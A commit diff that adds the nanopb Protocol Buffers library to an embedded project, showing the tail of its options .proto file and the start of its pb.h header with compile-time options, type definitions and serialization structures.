FT_CALLBACK = 1; // Always generate a callback field.
|
||||
FT_POINTER = 4; // Always generate a dynamically allocated field.
|
||||
FT_STATIC = 2; // Generate a static field or raise an exception if not possible.
|
||||
FT_IGNORE = 3; // Ignore the field completely.
|
||||
FT_INLINE = 5; // Legacy option, use the separate 'fixed_length' option instead
|
||||
}
|
||||
|
||||
enum IntSize {
|
||||
IS_DEFAULT = 0; // Default, 32/64bit based on type in .proto
|
||||
IS_8 = 8;
|
||||
IS_16 = 16;
|
||||
IS_32 = 32;
|
||||
IS_64 = 64;
|
||||
}
|
||||
|
||||
enum TypenameMangling {
|
||||
M_NONE = 0; // Default, no typename mangling
|
||||
M_STRIP_PACKAGE = 1; // Strip current package name
|
||||
M_FLATTEN = 2; // Only use last path component
|
||||
M_PACKAGE_INITIALS = 3; // Replace the package name by the initials
|
||||
}
|
||||
|
||||
enum DescriptorSize {
|
||||
DS_AUTO = 0; // Select minimal size based on field type
|
||||
DS_1 = 1; // 1 word; up to 15 byte fields, no arrays
|
||||
DS_2 = 2; // 2 words; up to 4095 byte fields, 4095 entry arrays
|
||||
DS_4 = 4; // 4 words; up to 2^32-1 byte fields, 2^16-1 entry arrays
|
||||
DS_8 = 8; // 8 words; up to 2^32-1 entry arrays
|
||||
}
|
||||
|
||||
// This is the inner options message, which basically defines options for
|
||||
// a field. When it is used in message or file scope, it applies to all
|
||||
// fields.
|
||||
message NanoPBOptions {
|
||||
// Allocated size for 'bytes' and 'string' fields.
|
||||
// For string fields, this should include the space for null terminator.
|
||||
optional int32 max_size = 1;
|
||||
|
||||
// Maximum length for 'string' fields. Setting this is equivalent
|
||||
// to setting max_size to a value of length+1.
|
||||
optional int32 max_length = 14;
|
||||
|
||||
// Allocated number of entries in arrays ('repeated' fields)
|
||||
optional int32 max_count = 2;
|
||||
|
||||
// Size of integer fields. Can save some memory if you don't need
|
||||
// full 32 bits for the value.
|
||||
optional IntSize int_size = 7 [default = IS_DEFAULT];
|
||||
|
||||
// Size for enum fields. Supported by C++11 and C23 standards.
|
||||
optional IntSize enum_intsize = 34 [default = IS_DEFAULT];
|
||||
|
||||
// Force type of field (callback or static allocation)
|
||||
optional FieldType type = 3 [default = FT_DEFAULT];
|
||||
|
||||
// Use long names for enums, i.e. EnumName_EnumValue.
|
||||
optional bool long_names = 4 [default = true];
|
||||
|
||||
// Add 'packed' attribute to generated structs.
|
||||
// Note: this cannot be used on CPUs that break on unaligned
|
||||
// accesses to variables.
|
||||
optional bool packed_struct = 5 [default = false];
|
||||
|
||||
// Add 'packed' attribute to generated enums.
|
||||
optional bool packed_enum = 10 [default = false];
|
||||
|
||||
// Skip this message
|
||||
optional bool skip_message = 6 [default = false];
|
||||
|
||||
// Generate oneof fields as normal optional fields instead of union.
|
||||
optional bool no_unions = 8 [default = false];
|
||||
|
||||
// integer type tag for a message
|
||||
optional uint32 msgid = 9;
|
||||
|
||||
// decode oneof as anonymous union
|
||||
optional bool anonymous_oneof = 11 [default = false];
|
||||
|
||||
// Proto3 singular field does not generate a "has_" flag
|
||||
optional bool proto3 = 12 [default = false];
|
||||
|
||||
// Force proto3 messages to have no "has_" flag.
|
||||
// This was default behavior until nanopb-0.4.0.
|
||||
optional bool proto3_singular_msgs = 21 [default = false];
|
||||
|
||||
// Generate an enum->string mapping function (can take up lots of space).
|
||||
optional bool enum_to_string = 13 [default = false];
|
||||
|
||||
// Generate validation methods for enums
|
||||
optional bool enum_validate = 32 [default = false];
|
||||
|
||||
// Generate bytes arrays with fixed length
|
||||
optional bool fixed_length = 15 [default = false];
|
||||
|
||||
// Generate repeated field with fixed count
|
||||
optional bool fixed_count = 16 [default = false];
|
||||
|
||||
// Generate message-level callback that is called before decoding submessages.
|
||||
// This can be used to set callback fields for submsgs inside oneofs.
|
||||
optional bool submsg_callback = 22 [default = false];
|
||||
|
||||
// Shorten or remove package names from type names.
|
||||
// This option applies only on the file level.
|
||||
optional TypenameMangling mangle_names = 17 [default = M_NONE];
|
||||
|
||||
// Data type for storage associated with callback fields.
|
||||
optional string callback_datatype = 18 [default = "pb_callback_t"];
|
||||
|
||||
// Callback function used for encoding and decoding.
|
||||
// Prior to nanopb-0.4.0, the callback was specified in per-field pb_callback_t
|
||||
// structure. This is still supported, but does not work inside e.g. oneof or pointer
|
||||
// fields. Instead, a new method allows specifying a per-message callback that
|
||||
// will be called for all callback fields in a message type.
|
||||
optional string callback_function = 19 [default = "pb_default_field_callback"];
|
||||
|
||||
// Select the size of field descriptors. This option has to be defined
|
||||
// for the whole message, not per-field. Usually automatic selection is
|
||||
// ok, but if it results in compilation errors you can increase the field
|
||||
// size here.
|
||||
optional DescriptorSize descriptorsize = 20 [default = DS_AUTO];
|
||||
|
||||
// Set default value for has_ fields.
|
||||
optional bool default_has = 23 [default = false];
|
||||
|
||||
// Extra files to include in generated `.pb.h`
|
||||
repeated string include = 24;
|
||||
|
||||
// Automatic includes to exclude from generated `.pb.h`
|
||||
// Same as nanopb_generator.py command line flag -x.
|
||||
repeated string exclude = 26;
|
||||
|
||||
// Package name that applies only for nanopb.
|
||||
optional string package = 25;
|
||||
|
||||
// Override type of the field in generated C code. Only to be used with related field types
|
||||
optional google.protobuf.FieldDescriptorProto.Type type_override = 27;
|
||||
|
||||
// Override of the label of the field (see FieldDescriptorProto.Label). Can be used to create
|
||||
// fields which nanopb considers required in proto3, or whether nanopb treats the field as
|
||||
// optional/required/repeated.
|
||||
optional google.protobuf.FieldDescriptorProto.Label label_override = 31;
|
||||
|
||||
// Due to historical reasons, nanopb orders fields in structs by their tag number
|
||||
// instead of the order in .proto. Set this to false to keep the .proto order.
|
||||
// The default value will probably change to false in nanopb-0.5.0.
|
||||
optional bool sort_by_tag = 28 [default = true];
|
||||
|
||||
// Set the FT_DEFAULT field conversion strategy.
|
||||
// A field that can become a static member of a c struct (e.g. int, bool, etc)
|
||||
// will be a a static field.
|
||||
// Fields with dynamic length are converted to either a pointer or a callback.
|
||||
optional FieldType fallback_type = 29 [default = FT_CALLBACK];
|
||||
|
||||
// Override initializer used in generated MyMessage_init_zero and MyMessage_init_default macros
|
||||
// By default decided automatically based on field default value and datatype.
|
||||
optional string initializer = 30;
|
||||
|
||||
// Discard unused types that are automatically generated by protoc if they are not actually
|
||||
// needed. Currently this applies to map< > types when the field is ignored by options.
|
||||
optional bool discard_unused_automatic_types = 33 [default = true];
|
||||
|
||||
// Discard messages and fields marked with [deprecated = true] in the proto file.
|
||||
optional bool discard_deprecated = 35 [default = false];
|
||||
}
|
||||
|
||||
// Extensions to protoc 'Descriptor' type in order to define options
|
||||
// inside a .proto file.
|
||||
//
|
||||
// Protocol Buffers extension number registry
|
||||
// --------------------------------
|
||||
// Project: Nanopb
|
||||
// Contact: Petteri Aimonen <jpa@kapsi.fi>
|
||||
// Web site: http://kapsi.fi/~jpa/nanopb
|
||||
// Extensions: 1010 (all types)
|
||||
// --------------------------------
|
||||
|
||||
extend google.protobuf.FileOptions {
|
||||
optional NanoPBOptions nanopb_fileopt = 1010;
|
||||
}
|
||||
|
||||
extend google.protobuf.MessageOptions {
|
||||
optional NanoPBOptions nanopb_msgopt = 1010;
|
||||
}
|
||||
|
||||
extend google.protobuf.EnumOptions {
|
||||
optional NanoPBOptions nanopb_enumopt = 1010;
|
||||
}
|
||||
|
||||
extend google.protobuf.FieldOptions {
|
||||
optional NanoPBOptions nanopb = 1010;
|
||||
}
|
||||
|
||||
|
||||
942
espilon_bot/components/core/nanoPB/pb.h
Normal file
942
espilon_bot/components/core/nanoPB/pb.h
Normal file
@ -0,0 +1,942 @@
|
||||
/* Common parts of the nanopb library. Most of these are quite low-level
|
||||
* stuff. For the high-level interface, see pb_encode.h and pb_decode.h.
|
||||
*/
|
||||
|
||||
#ifndef PB_H_INCLUDED
|
||||
#define PB_H_INCLUDED
|
||||
|
||||
/*****************************************************************
|
||||
* Nanopb compilation time options. You can change these here by *
|
||||
* uncommenting the lines, or on the compiler command line. *
|
||||
*****************************************************************/
|
||||
|
||||
/* Enable support for dynamically allocated fields */
|
||||
/* #define PB_ENABLE_MALLOC 1 */
|
||||
|
||||
/* Define this if your CPU / compiler combination does not support
|
||||
* unaligned memory access to packed structures. Note that packed
|
||||
* structures are only used when requested in .proto options. */
|
||||
/* #define PB_NO_PACKED_STRUCTS 1 */
|
||||
|
||||
/* Increase the number of required fields that are tracked.
|
||||
* A compiler warning will tell if you need this. */
|
||||
/* #define PB_MAX_REQUIRED_FIELDS 256 */
|
||||
|
||||
/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */
|
||||
/* #define PB_FIELD_32BIT 1 */
|
||||
|
||||
/* Disable support for error messages in order to save some code space. */
|
||||
/* #define PB_NO_ERRMSG 1 */
|
||||
|
||||
/* Disable checks to ensure sub-message encoded size is consistent when re-run. */
|
||||
/* #define PB_NO_ENCODE_SIZE_CHECK 1 */
|
||||
|
||||
/* Disable support for custom streams (support only memory buffers). */
|
||||
/* #define PB_BUFFER_ONLY 1 */
|
||||
|
||||
/* Disable support for 64-bit datatypes, for compilers without int64_t
|
||||
or to save some code space. */
|
||||
/* #define PB_WITHOUT_64BIT 1 */
|
||||
|
||||
/* Don't encode scalar arrays as packed. This is only to be used when
|
||||
* the decoder on the receiving side cannot process packed scalar arrays.
|
||||
* Such example is older protobuf.js. */
|
||||
/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */
|
||||
|
||||
/* Enable conversion of doubles to floats for platforms that do not
|
||||
* support 64-bit doubles. Most commonly AVR. */
|
||||
/* #define PB_CONVERT_DOUBLE_FLOAT 1 */
|
||||
|
||||
/* Check whether incoming strings are valid UTF-8 sequences. Slows down
|
||||
* the string processing slightly and slightly increases code size. */
|
||||
/* #define PB_VALIDATE_UTF8 1 */
|
||||
|
||||
/* This can be defined if the platform is little-endian and has 8-bit bytes.
|
||||
* Normally it is automatically detected based on __BYTE_ORDER__ macro. */
|
||||
/* #define PB_LITTLE_ENDIAN_8BIT 1 */
|
||||
|
||||
/* Configure static assert mechanism. Instead of changing these, set your
|
||||
* compiler to C11 standard mode if possible. */
|
||||
/* #define PB_C99_STATIC_ASSERT 1 */
|
||||
/* #define PB_NO_STATIC_ASSERT 1 */
|
||||
|
||||
/******************************************************************
|
||||
* You usually don't need to change anything below this line. *
|
||||
* Feel free to look around and use the defined macros, though. *
|
||||
******************************************************************/
|
||||
|
||||
|
||||
/* Version of the nanopb library. Just in case you want to check it in
|
||||
* your own program. */
|
||||
#define NANOPB_VERSION "nanopb-1.0.0-dev"
|
||||
|
||||
/* Include all the system headers needed by nanopb. You will need the
|
||||
* definitions of the following:
|
||||
* - strlen, memcpy, memset functions
|
||||
* - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t
|
||||
* - size_t
|
||||
* - bool
|
||||
*
|
||||
* If you don't have the standard header files, you can instead provide
|
||||
* a custom header that defines or includes all this. In that case,
|
||||
* define PB_SYSTEM_HEADER to the path of this file.
|
||||
*/
|
||||
#ifdef PB_SYSTEM_HEADER
|
||||
#include PB_SYSTEM_HEADER
|
||||
#else
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <limits.h>
|
||||
|
||||
#ifdef PB_ENABLE_MALLOC
|
||||
#include <stdlib.h>
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Macro for defining packed structures (compiler dependent).
|
||||
* This just reduces memory requirements, but is not required.
|
||||
*/
|
||||
#if defined(PB_NO_PACKED_STRUCTS)
|
||||
/* Disable struct packing */
|
||||
# define PB_PACKED_STRUCT_START
|
||||
# define PB_PACKED_STRUCT_END
|
||||
# define pb_packed
|
||||
#elif defined(__GNUC__) || defined(__clang__)
|
||||
/* For GCC and clang */
|
||||
# define PB_PACKED_STRUCT_START
|
||||
# define PB_PACKED_STRUCT_END
|
||||
# define pb_packed __attribute__((packed))
|
||||
#elif defined(__ICCARM__) || defined(__CC_ARM)
|
||||
/* For IAR ARM and Keil MDK-ARM compilers */
|
||||
# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)")
|
||||
# define PB_PACKED_STRUCT_END _Pragma("pack(pop)")
|
||||
# define pb_packed
|
||||
#elif defined(_MSC_VER) && (_MSC_VER >= 1500)
|
||||
/* For Microsoft Visual C++ */
|
||||
# define PB_PACKED_STRUCT_START __pragma(pack(push, 1))
|
||||
# define PB_PACKED_STRUCT_END __pragma(pack(pop))
|
||||
# define pb_packed
|
||||
#else
|
||||
/* Unknown compiler */
|
||||
# define PB_PACKED_STRUCT_START
|
||||
# define PB_PACKED_STRUCT_END
|
||||
# define pb_packed
|
||||
#endif
|
||||
|
||||
/* Define for explicitly not inlining a given function */
|
||||
#if defined(__GNUC__) || defined(__clang__)
|
||||
/* For GCC and clang */
|
||||
# define pb_noinline __attribute__((noinline))
|
||||
#elif defined(__ICCARM__) || defined(__CC_ARM)
|
||||
/* For IAR ARM and Keil MDK-ARM compilers */
|
||||
# define pb_noinline
|
||||
#elif defined(_MSC_VER) && (_MSC_VER >= 1500)
|
||||
# define pb_noinline __declspec(noinline)
|
||||
#else
|
||||
# define pb_noinline
|
||||
#endif
|
||||
|
||||
/* Detect endianness */
|
||||
#if !defined(CHAR_BIT) && defined(__CHAR_BIT__)
|
||||
#define CHAR_BIT __CHAR_BIT__
|
||||
#endif
|
||||
|
||||
#ifndef PB_LITTLE_ENDIAN_8BIT
|
||||
#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \
|
||||
(defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \
|
||||
defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \
|
||||
defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \
|
||||
defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \
|
||||
&& defined(CHAR_BIT) && CHAR_BIT == 8
|
||||
#define PB_LITTLE_ENDIAN_8BIT 1
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Handly macro for suppressing unreferenced-parameter compiler warnings. */
|
||||
#ifndef PB_UNUSED
|
||||
#define PB_UNUSED(x) (void)(x)
|
||||
#endif
|
||||
|
||||
/* Harvard-architecture processors may need special attributes for storing
|
||||
* field information in program memory. */
|
||||
#ifndef PB_PROGMEM
|
||||
#ifdef __AVR__
|
||||
#include <avr/pgmspace.h>
|
||||
#define PB_PROGMEM PROGMEM
|
||||
#define PB_PROGMEM_READU32(x) pgm_read_dword(&x)
|
||||
#else
|
||||
#define PB_PROGMEM
|
||||
#define PB_PROGMEM_READU32(x) (x)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Compile-time assertion, used for checking compatible compilation options.
|
||||
* If this does not work properly on your compiler, use
|
||||
* #define PB_NO_STATIC_ASSERT to disable it.
|
||||
*
|
||||
* But before doing that, check carefully the error message / place where it
|
||||
* comes from to see if the error has a real cause. Unfortunately the error
|
||||
* message is not always very clear to read, but you can see the reason better
|
||||
* in the place where the PB_STATIC_ASSERT macro was called.
|
||||
*/
|
||||
#ifndef PB_NO_STATIC_ASSERT
|
||||
# ifndef PB_STATIC_ASSERT
|
||||
# if defined(__ICCARM__)
|
||||
/* IAR has static_assert keyword but no _Static_assert */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
|
||||
# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112)
|
||||
/* MSVC in C89 mode supports static_assert() keyword anyway */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
|
||||
# elif defined(PB_C99_STATIC_ASSERT)
|
||||
/* Classic negative-size-array static assert mechanism */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1];
|
||||
# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER)
|
||||
# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER
|
||||
# elif defined(__cplusplus)
|
||||
/* C++11 standard static_assert mechanism */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
|
||||
# else
|
||||
/* C11 standard _Static_assert mechanism */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG);
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static asserts disabled by PB_NO_STATIC_ASSERT */
|
||||
# define PB_STATIC_ASSERT(COND,MSG)
|
||||
#endif
|
||||
|
||||
/* Test that PB_STATIC_ASSERT works
|
||||
* If you get errors here, you may need to do one of these:
|
||||
* - Enable C11 standard support in your compiler
|
||||
* - Define PB_C99_STATIC_ASSERT to enable C99 standard support
|
||||
* - Define PB_NO_STATIC_ASSERT to disable static asserts altogether
|
||||
*/
|
||||
PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING)
|
||||
|
||||
/* Number of required fields to keep track of. */
|
||||
#ifndef PB_MAX_REQUIRED_FIELDS
|
||||
#define PB_MAX_REQUIRED_FIELDS 64
|
||||
#endif
|
||||
|
||||
#if PB_MAX_REQUIRED_FIELDS < 64
|
||||
#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64).
|
||||
#endif
|
||||
|
||||
#ifdef PB_WITHOUT_64BIT
|
||||
#ifdef PB_CONVERT_DOUBLE_FLOAT
|
||||
/* Cannot use doubles without 64-bit types */
|
||||
#undef PB_CONVERT_DOUBLE_FLOAT
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Data type for storing encoded data and other byte streams.
|
||||
* This typedef exists to support platforms where uint8_t does not exist.
|
||||
* You can regard it as equivalent on uint8_t on other platforms.
|
||||
*/
|
||||
#if defined(PB_BYTE_T_OVERRIDE)
|
||||
typedef PB_BYTE_T_OVERRIDE pb_byte_t;
|
||||
#elif defined(UINT8_MAX)
|
||||
typedef uint8_t pb_byte_t;
|
||||
#else
|
||||
typedef uint_least8_t pb_byte_t;
|
||||
#endif
|
||||
|
||||
/* List of possible field types. These are used in the autogenerated code.
|
||||
* Least-significant 4 bits tell the scalar type
|
||||
* Most-significant 4 bits specify repeated/required/packed etc.
|
||||
*/
|
||||
typedef pb_byte_t pb_type_t;
|
||||
|
||||
/**** Field data types ****/
|
||||
|
||||
/* Numeric types */
|
||||
#define PB_LTYPE_BOOL 0x00U /* bool */
|
||||
#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */
|
||||
#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */
|
||||
#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */
|
||||
#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */
|
||||
#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */
|
||||
|
||||
/* Marker for last packable field type. */
|
||||
#define PB_LTYPE_LAST_PACKABLE 0x05U
|
||||
|
||||
/* Byte array with pre-allocated buffer.
|
||||
* data_size is the length of the allocated PB_BYTES_ARRAY structure. */
|
||||
#define PB_LTYPE_BYTES 0x06U
|
||||
|
||||
/* String with pre-allocated buffer.
|
||||
* data_size is the maximum length. */
|
||||
#define PB_LTYPE_STRING 0x07U
|
||||
|
||||
/* Submessage
|
||||
* submsg_fields is pointer to field descriptions */
|
||||
#define PB_LTYPE_SUBMESSAGE 0x08U
|
||||
|
||||
/* Submessage with pre-decoding callback
|
||||
* The pre-decoding callback is stored as pb_callback_t right before pSize.
|
||||
* submsg_fields is pointer to field descriptions */
|
||||
#define PB_LTYPE_SUBMSG_W_CB 0x09U
|
||||
|
||||
/* Extension pseudo-field
|
||||
* The field contains a pointer to pb_extension_t */
|
||||
#define PB_LTYPE_EXTENSION 0x0AU
|
||||
|
||||
/* Byte array with inline, pre-allocated byffer.
|
||||
* data_size is the length of the inline, allocated buffer.
|
||||
* This differs from PB_LTYPE_BYTES by defining the element as
|
||||
* pb_byte_t[data_size] rather than pb_bytes_array_t. */
|
||||
#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU
|
||||
|
||||
/* Number of declared LTYPES */
|
||||
#define PB_LTYPES_COUNT 0x0CU
|
||||
#define PB_LTYPE_MASK 0x0FU
|
||||
|
||||
/**** Field repetition rules ****/
|
||||
|
||||
#define PB_HTYPE_REQUIRED 0x00U
|
||||
#define PB_HTYPE_OPTIONAL 0x10U
|
||||
#define PB_HTYPE_SINGULAR 0x10U
|
||||
#define PB_HTYPE_REPEATED 0x20U
|
||||
#define PB_HTYPE_FIXARRAY 0x20U
|
||||
#define PB_HTYPE_ONEOF 0x30U
|
||||
#define PB_HTYPE_MASK 0x30U
|
||||
|
||||
/**** Field allocation types ****/
|
||||
|
||||
#define PB_ATYPE_STATIC 0x00U
|
||||
#define PB_ATYPE_POINTER 0x80U
|
||||
#define PB_ATYPE_CALLBACK 0x40U
|
||||
#define PB_ATYPE_MASK 0xC0U
|
||||
|
||||
#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK)
|
||||
#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK)
|
||||
#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK)
|
||||
#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \
|
||||
PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB)
|
||||
|
||||
/* Data type used for storing sizes of struct fields
|
||||
* and array counts.
|
||||
*/
|
||||
#if defined(PB_FIELD_32BIT)
|
||||
typedef uint32_t pb_size_t;
|
||||
typedef int32_t pb_ssize_t;
|
||||
#else
|
||||
typedef uint_least16_t pb_size_t;
|
||||
typedef int_least16_t pb_ssize_t;
|
||||
#endif
|
||||
#define PB_SIZE_MAX ((pb_size_t)-1)
|
||||
|
||||
/* Forward declaration of struct types */
|
||||
typedef struct pb_istream_s pb_istream_t;
|
||||
typedef struct pb_ostream_s pb_ostream_t;
|
||||
typedef struct pb_field_iter_s pb_field_iter_t;
|
||||
|
||||
/* This structure is used in auto-generated constants
|
||||
* to specify struct fields.
|
||||
*/
|
||||
typedef struct pb_msgdesc_s pb_msgdesc_t;
|
||||
struct pb_msgdesc_s {
|
||||
const uint32_t *field_info;
|
||||
const pb_msgdesc_t * const * submsg_info;
|
||||
const pb_byte_t *default_value;
|
||||
|
||||
bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field);
|
||||
|
||||
pb_size_t field_count;
|
||||
pb_size_t required_field_count;
|
||||
pb_size_t largest_tag;
|
||||
};
|
||||
|
||||
/* Iterator for message descriptor */
|
||||
struct pb_field_iter_s {
|
||||
const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */
|
||||
void *message; /* Pointer to start of the structure */
|
||||
|
||||
pb_size_t index; /* Index of the field */
|
||||
pb_size_t field_info_index; /* Index to descriptor->field_info array */
|
||||
pb_size_t required_field_index; /* Index that counts only the required fields */
|
||||
pb_size_t submessage_index; /* Index that counts only submessages */
|
||||
|
||||
pb_size_t tag; /* Tag of current field */
|
||||
pb_size_t data_size; /* sizeof() of a single item */
|
||||
pb_size_t array_size; /* Number of array entries */
|
||||
pb_type_t type; /* Type of current field */
|
||||
|
||||
void *pField; /* Pointer to current field in struct */
|
||||
void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */
|
||||
void *pSize; /* Pointer to count/has field */
|
||||
|
||||
const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */
|
||||
};
|
||||
|
||||
/* For compatibility with legacy code */
|
||||
typedef pb_field_iter_t pb_field_t;
|
||||
|
||||
/* Make sure that the standard integer types are of the expected sizes.
|
||||
* Otherwise fixed32/fixed64 fields can break.
|
||||
*
|
||||
* If you get errors here, it probably means that your stdint.h is not
|
||||
* correct for your platform.
|
||||
*/
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE)
|
||||
PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE)
|
||||
#endif
|
||||
|
||||
/* This structure is used for 'bytes' arrays.
|
||||
* It has the number of bytes in the beginning, and after that an array.
|
||||
* Note that actual structs used will have a different length of bytes array.
|
||||
*/
|
||||
#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; }
|
||||
#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes))
|
||||
|
||||
struct pb_bytes_array_s {
|
||||
pb_size_t size;
|
||||
pb_byte_t bytes[1];
|
||||
};
|
||||
typedef struct pb_bytes_array_s pb_bytes_array_t;
|
||||
|
||||
/* This structure is used for giving the callback function.
|
||||
* It is stored in the message structure and filled in by the method that
|
||||
* calls pb_decode.
|
||||
*
|
||||
* The decoding callback will be given a limited-length stream
|
||||
* If the wire type was string, the length is the length of the string.
|
||||
* If the wire type was a varint/fixed32/fixed64, the length is the length
|
||||
* of the actual value.
|
||||
* The function may be called multiple times (especially for repeated types,
|
||||
* but also otherwise if the message happens to contain the field multiple
|
||||
* times.)
|
||||
*
|
||||
* The encoding callback will receive the actual output stream.
|
||||
* It should write all the data in one call, including the field tag and
|
||||
* wire type. It can write multiple fields.
|
||||
*
|
||||
* The callback can be null if you want to skip a field.
|
||||
*/
|
||||
typedef struct pb_callback_s pb_callback_t;
|
||||
struct pb_callback_s {
|
||||
/* Callback functions receive a pointer to the arg field.
|
||||
* You can access the value of the field as *arg, and modify it if needed.
|
||||
*/
|
||||
union {
|
||||
bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg);
|
||||
bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg);
|
||||
} funcs;
|
||||
|
||||
/* Free arg for use by callback */
|
||||
void *arg;
|
||||
};
|
||||
|
||||
extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field);
|
||||
|
||||
/* Wire types. Library user needs these only in encoder callbacks. */
|
||||
typedef enum {
|
||||
PB_WT_VARINT = 0,
|
||||
PB_WT_64BIT = 1,
|
||||
PB_WT_STRING = 2,
|
||||
PB_WT_32BIT = 5,
|
||||
PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */
|
||||
} pb_wire_type_t;
|
||||
|
||||
/* Structure for defining the handling of unknown/extension fields.
|
||||
* Usually the pb_extension_type_t structure is automatically generated,
|
||||
* while the pb_extension_t structure is created by the user. However,
|
||||
* if you want to catch all unknown fields, you can also create a custom
|
||||
* pb_extension_type_t with your own callback.
|
||||
*/
|
||||
typedef struct pb_extension_type_s pb_extension_type_t;
|
||||
typedef struct pb_extension_s pb_extension_t;
|
||||
struct pb_extension_type_s {
|
||||
/* Called for each unknown field in the message.
|
||||
* If you handle the field, read off all of its data and return true.
|
||||
* If you do not handle the field, do not read anything and return true.
|
||||
* If you run into an error, return false.
|
||||
* Set to NULL for default handler.
|
||||
*/
|
||||
bool (*decode)(pb_istream_t *stream, pb_extension_t *extension,
|
||||
uint32_t tag, pb_wire_type_t wire_type);
|
||||
|
||||
/* Called once after all regular fields have been encoded.
|
||||
* If you have something to write, do so and return true.
|
||||
* If you do not have anything to write, just return true.
|
||||
* If you run into an error, return false.
|
||||
* Set to NULL for default handler.
|
||||
*/
|
||||
bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension);
|
||||
|
||||
/* Free field for use by the callback. */
|
||||
const void *arg;
|
||||
};
|
||||
|
||||
struct pb_extension_s {
|
||||
/* Type describing the extension field. Usually you'll initialize
|
||||
* this to a pointer to the automatically generated structure. */
|
||||
const pb_extension_type_t *type;
|
||||
|
||||
/* Destination for the decoded data. This must match the datatype
|
||||
* of the extension field. */
|
||||
void *dest;
|
||||
|
||||
/* Pointer to the next extension handler, or NULL.
|
||||
* If this extension does not match a field, the next handler is
|
||||
* automatically called. */
|
||||
pb_extension_t *next;
|
||||
|
||||
/* The decoder sets this to true if the extension was found.
|
||||
* Ignored for encoding. */
|
||||
bool found;
|
||||
};
|
||||
|
||||
#define pb_extension_init_zero {NULL,NULL,NULL,false}
|
||||
|
||||
/* Memory allocation functions to use. You can define pb_realloc and
|
||||
* pb_free to custom functions if you want. */
|
||||
#ifdef PB_ENABLE_MALLOC
|
||||
# ifndef pb_realloc
|
||||
# define pb_realloc(ptr, size) realloc(ptr, size)
|
||||
# endif
|
||||
# ifndef pb_free
|
||||
# define pb_free(ptr) free(ptr)
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* This is used to inform about need to regenerate .pb.h/.pb.c files. */
|
||||
#define PB_PROTO_HEADER_VERSION 40
|
||||
|
||||
/* These macros are used to declare pb_field_t's in the constant array. */
|
||||
/* Size of a structure member, in bytes. */
|
||||
#define pb_membersize(st, m) (sizeof ((st*)0)->m)
|
||||
/* Number of entries in an array. */
|
||||
#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0]))
|
||||
/* Delta from start of one member to the start of another member. */
|
||||
#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2))
|
||||
|
||||
/* Force expansion of macro value */
|
||||
#define PB_EXPAND(x) x
|
||||
|
||||
/* Binding of a message field set into a specific structure */
|
||||
#define PB_BIND(msgname, structname, width) \
|
||||
const uint32_t structname ## _field_info[] PB_PROGMEM = \
|
||||
{ \
|
||||
